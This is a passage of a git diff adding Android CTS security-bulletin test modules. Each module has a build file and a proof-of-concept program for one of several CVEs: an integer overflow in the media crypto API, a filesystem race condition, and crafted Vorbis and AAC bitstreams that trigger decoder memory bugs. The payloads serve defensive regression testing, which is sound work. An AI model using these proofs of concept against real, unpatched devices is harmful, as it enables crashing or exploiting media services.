+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := frameworks/av/media/ndk/include/media/
+LOCAL_SHARED_LIBRARIES := libmediandk
+LOCAL_SHARED_LIBRARIES += liblog
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -DCHECK_OVERFLOW
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/poc.cpp
new file mode 100644
index 0000000..adc3508
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/poc.cpp
@@ -0,0 +1,32 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdlib.h>
+#include "NdkMediaCodec.h"
+#include "../includes/common.h"
+#define NUM_SUB_SAMPLES ((SIZE_MAX / (sizeof(size_t)*2) - 34) + 32)
+
+int main() {
+    uint8_t key[16] = { 1, 2, 3, 4, 1, 2, 3, 4, 1, 2, 3, 4, 1, 2, 3, 4 };
+    uint8_t iv[16] = { 4, 3, 2, 1, 4, 3, 2, 1, 4, 3, 2, 1, 4, 3, 2, 1 };
+    size_t clearBytes[4] = { 5, 6, 7, 8 };
+    size_t encryptedBytes[4] = { 8, 7, 6, 5 };
+
+    AMediaCodecCryptoInfo_new((int) NUM_SUB_SAMPLES, key, iv,
+                              AMEDIACODECRYPTOINFO_MODE_CLEAR, clearBytes,
+                              encryptedBytes);
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk
new file mode 100644
index 0000000..3c8d79c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9515
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c
new file mode 100644
index 0000000..d8f3471
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <pthread.h>
+#include <err.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <string.h>
+#include <time.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include "../includes/common.h"
+
+pid_t looper_pid;
+
+void *uaf_worker(__attribute__ ((unused)) void *unused) {
+  char cwd_path[100];
+  sprintf(cwd_path, "/proc/self/task/%d/cwd", (int)looper_pid);
+
+  time_t timer = start_timer();
+  while (timer_active(timer)) {
+    char symlink_target[1000];
+    int len = readlink(cwd_path, symlink_target, sizeof(symlink_target)-1);
+    if (len > 0) {
+      symlink_target[len] = 0;
+    }
+  }
+
+  return NULL;
+}
+
+void *chaos_worker(__attribute__ ((unused)) void *unused) {
+  if (chdir("/sdcard/Android/data/CVE-2018-9515"))
+      err(1, "chdir");
+  rmdir("subdir");
+
+  time_t timer = start_timer();
+  while (timer_active(timer)) {
+    if (mkdir("subdir", 0777))
+      err(1, "mkdir");
+    if (chdir("subdir"))
+      err(1, "chdir");
+    if (rmdir("../subdir"))
+      err(1, "rmdir");
+    if (chdir(".."))
+      err(1, "chdir");
+  }
+
+  return NULL;
+}
+
+int main(void) {
+  looper_pid = syscall(__NR_gettid);
+
+  pthread_t thread;
+  if (pthread_create(&thread, NULL, uaf_worker, NULL))
+    errx(1, "pthread_create failed");
+
+  pthread_t thread2;
+  if (pthread_create(&thread2, NULL, chaos_worker, NULL))
+    errx(1, "pthread_create failed");
+
+  char my_dir_name[100];
+  sprintf(my_dir_name, "/sdcard/Android/data/CVE-2018-9515/foobar");
+  rmdir(my_dir_name);
+
+  time_t timer = start_timer();
+  while (timer_active(timer)) {
+    if (mkdir(my_dir_name, 0777))
+      err(1, "looper: mkdir");
+    if (rmdir(my_dir_name))
+      err(1, "looper: rmdir");
+  }
+
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/Android.mk
new file mode 100644
index 0000000..7881c47
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2018-9527
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES += ./external/tremolo
+LOCAL_SHARED_LIBRARIES := libvorbisidec
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/poc.cpp
new file mode 100644
index 0000000..fa32eb8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/poc.cpp
@@ -0,0 +1,104 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <string.h>
+#include <stdlib.h>
+#define REF_COUNT     1
+#define DECODE_PACKET 1
+
+extern "C" {
+#include <Tremolo/codec_internal.h>
+
+int _vorbis_unpack_books(vorbis_info *vi, oggpack_buffer *opb);
+int _vorbis_unpack_info(vorbis_info *vi, oggpack_buffer *opb);
+int _vorbis_unpack_comment(vorbis_comment *vc, oggpack_buffer *opb);
+}
+
+const uint8_t packInfoData[] = { 0x00, 0x00, 0x00, 0x00, 0x02, 0x80, 0xBB, 0x00,
+        0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xBB, 0x01, 0xFF, 0xFF, 0xFF, 0xFF };
+
+unsigned char unpackBookData[] = { 0x00, 0x42, 0x43, 0x56, 0x1E, 0x00, 0x10,
+        0x00, 0x00, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x10, 0x0A, 0xFF, 0x00, 0x00,
+        0x00, 0x06, 0xD0, 0x00, 0x00, 0x00, 0x7F, 0x00, 0x1D, 0x00, 0x00, 0x00,
+        0x2C, 0x00, 0x03, 0x3C, 0x51, 0x04, 0x34, 0x4F, 0x04, 0x00, 0x40, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0xCB, 0x00, 0x40, 0x00, 0x00, 0x01, 0x4F, 0xF4,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0xFF, 0xFF, 0xFF, 0xFF };
+
+unsigned char bufData[] = { 0x00, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x00, 0xE7,
+        0x00, 0x00, 0xE9, 0x00 };
+
+static void makeBitReader(const void *data, size_t size, ogg_buffer *buf,
+                          ogg_reference *ref, oggpack_buffer *bits) {
+    buf->data = (uint8_t *) data;
+    buf->size = size;
+    buf->refcount = REF_COUNT;
+
+    ref->buffer = buf;
+    ref->length = size;
+    oggpack_readinit(bits, ref);
+}
+
+int main() {
+    ogg_buffer buf;
+    ogg_reference ref;
+    oggpack_buffer bits;
+
+    memset(&buf, 0, sizeof(ogg_buffer));
+    memset(&ref, 0, sizeof(ogg_reference));
+    memset(&bits, 0, sizeof(oggpack_buffer));
+
+    makeBitReader(packInfoData, sizeof(packInfoData), &buf, &ref, &bits);
+
+    vorbis_info *mVi = new vorbis_info;
+    vorbis_info_init(mVi);
+
+    int ret = _vorbis_unpack_info(mVi, &bits);
+    if (!ret) {
+        memset(&buf, 0, sizeof(ogg_buffer));
+        memset(&ref, 0, sizeof(ogg_reference));
+        memset(&bits, 0, sizeof(oggpack_buffer));
+
+        makeBitReader(unpackBookData, sizeof(unpackBookData), &buf, &ref,
+                      &bits);
+
+        ret = _vorbis_unpack_books(mVi, &bits);
+        if (!ret) {
+            ogg_packet pack;
+            memset(&pack, 0, sizeof(ogg_packet));
+            memset(&buf, 0, sizeof(ogg_buffer));
+            memset(&ref, 0, sizeof(ogg_reference));
+
+            vorbis_dsp_state *mState = new vorbis_dsp_state;
+            vorbis_dsp_init(mState, mVi);
+
+            buf.data = bufData;
+            buf.size = sizeof(bufData);
+            buf.refcount = REF_COUNT;
+
+            ref.buffer = &buf;
+            ref.length = buf.size;
+
+            pack.packet = &ref;
+            pack.bytes = ref.length;
+
+            vorbis_dsp_synthesis(mState, &pack, DECODE_PACKET);
+        }
+    }
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.mk
new file mode 100644
index 0000000..761e5eb
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2018-9537
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/aac/libAACdec/include
+LOCAL_C_INCLUDES += external/aac/libSYS/include
+LOCAL_SHARED_LIBRARIES := libbluetooth
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror -DCHECK_OVERFLOW
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp
new file mode 100644
index 0000000..7369a6c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp
@@ -0,0 +1,206 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdlib.h>
+#include <string.h>
+#include "aacdecoder_lib.h"
+
+constexpr uint8_t kNumberOfLayers = 1;
+constexpr uint8_t kMaxChannelCount = 8;
+constexpr uint32_t kNumFillElements = 1200;
+constexpr uint32_t kMaxOutBufferSize = 2048 * kMaxChannelCount;
+
+constexpr unsigned char kAdtsHeader[] = { 0xFF, 0xF1, 0x6C, 0x40, 0x41, 0x00,
+        0x78 };
+constexpr uint32_t kAdtsHeaderLength = sizeof(kAdtsHeader);
+
+constexpr unsigned char kFillElements[] = { 0xC1, 0x83, 0x06, 0x0C, 0x18, 0x30,
+        0x60 };
+constexpr uint32_t kFillElementsLength = sizeof(kFillElements);
+
+constexpr unsigned char kAacStream[] = { 0x00, 0xC8, 0x13, 0x83, 0xE8, 0x1B,
+        0xFF, 0xC4, 0x29, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x77, 0xED, 0x88, 0x52, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xE0, 0x2B, 0xFF, 0xC4, 0x29, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x1B, 0xFF, 0xC4, 0x29, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+        0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x77, 0xED, 0x88,
+        0x52, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+        0xD2, 0xD2, 0xD2, 0xD2, 0xE0, 0xE0 };
+constexpr uint32_t kAacStreamLength = sizeof(kAacStream);
+
+class Codec {
+ public:
+    Codec() = default;
+    ~Codec() {
+        deInitDecoder();
+    }
+    bool initDecoder();
+    void decodeFrames(UCHAR *data, UINT size);
+    void deInitDecoder();
+ private:
+    HANDLE_AACDECODER mAacDecoderHandle = nullptr;
+    AAC_DECODER_ERROR mErrorCode = AAC_DEC_OK;
+};
+
+bool Codec::initDecoder() {
+    mAacDecoderHandle = aacDecoder_Open(TT_MP4_ADTS, kNumberOfLayers);
+    if (!mAacDecoderHandle) {
+        return false;
+    }
+    return true;
+}
+
+void Codec::deInitDecoder() {
+    aacDecoder_Close(mAacDecoderHandle);
+    mAacDecoderHandle = nullptr;
+}
+
+void Codec::decodeFrames(UCHAR *data, UINT size) {
+    while (size > 0) {
+        UINT inputSize = size;
+        UINT valid = size;
+        mErrorCode = aacDecoder_Fill(mAacDecoderHandle, &data, &inputSize,
+                                     &valid);
+        if (mErrorCode != AAC_DEC_OK) {
+            ++data;
+            --size;
+        } else {
+            INT_PCM outputBuf[kMaxOutBufferSize];
+            aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf,
+                                   sizeof(outputBuf), 0);
+            if (valid >= inputSize) {
+                return;
+            }
+            UINT offset = inputSize - valid;
+            data += offset;
+            size = valid;
+        }
+    }
+}
+
+int main() {
+    Codec *codec = new Codec();
+    if (!codec) {
+        return EXIT_FAILURE;
+    }
+
+    if (codec->initDecoder()) {
+        /* Allocate memory for bitstream buffer */
+        UINT rawDataSize = kAdtsHeaderLength + kAacStreamLength
+                + (kNumFillElements * kFillElementsLength);
+
+        UCHAR* rawData = (UCHAR *) malloc(rawDataSize);
+        if (!rawData) {
+            return EXIT_FAILURE;
+        }
+
+        /* Copy header, aac stream to bitstream buffer */
+        UCHAR* writePtr = rawData;
+        memcpy(writePtr, kAdtsHeader, kAdtsHeaderLength);
+        writePtr += kAdtsHeaderLength;
+
+        for (uint32_t i = 0; i < kNumFillElements; ++i) {
+            memcpy(writePtr, kFillElements, kFillElementsLength);
+            writePtr += kFillElementsLength;
+        }
+
+        memcpy(writePtr, kAacStream, kAacStreamLength);
+
+        /* Decode bitstream */
+        codec->decodeFrames(rawData, rawDataSize);
+        free(rawData);
+    }
+
+    delete codec;
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.mk
new file mode 100644
index 0000000..2be9f4a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
